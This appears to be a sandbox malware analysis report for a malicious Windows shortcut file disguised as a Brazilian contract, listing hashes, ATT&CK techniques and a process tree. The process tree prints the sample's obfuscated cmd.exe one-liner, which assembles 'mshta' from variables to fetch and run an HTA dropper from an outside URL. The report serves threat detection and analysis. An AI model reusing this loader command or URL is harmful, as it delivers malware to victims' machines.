16dd95f1a159e588417d7bb6812d1ab18897cc19da680cdb07255f8aa34d3f75

Analysis

max time kernel
148s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Contrato_Indeniza_Brasil-Z24XDQ.lnk
Size 1KB
Sample260803-pyebgahf76
SHA256 16dd95f1a159e588417d7bb6812d1ab18897cc19da680cdb07255f8aa34d3f75
MD5 5e38120d6cd3f5b822548dceba8a916e
SHA1 4ad2ae347502cf5655e6f7fce6230bc8dcd9d6bb
SHA512 a49a5ee3bcf906b5475885fd8c596becea9f6d637d474a093603689fe0f9feec66d3251818d181862625c8f8b20c7b9b4bf109976ed4af1adb7bde7a64489356
TLSH
T1AF319C402AFD0624F2F7DE77857B5B209DBBF8558D51C91D4080464C5422A11E57FFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4204	mshta.exe
5	4204	mshta.exe
6	4204	mshta.exe
8	4204	mshta.exe
9	4204	mshta.exe
10	4204	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
800	cmd.exe
2176	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 2176	800	cmd.exe	90
PID 2176 wrote to memory of 4204	2176	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-Z24XDQ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:800
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set FMJYf=msh&&set zZeL=ta&&start "" !FMJYf!!zZeL! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads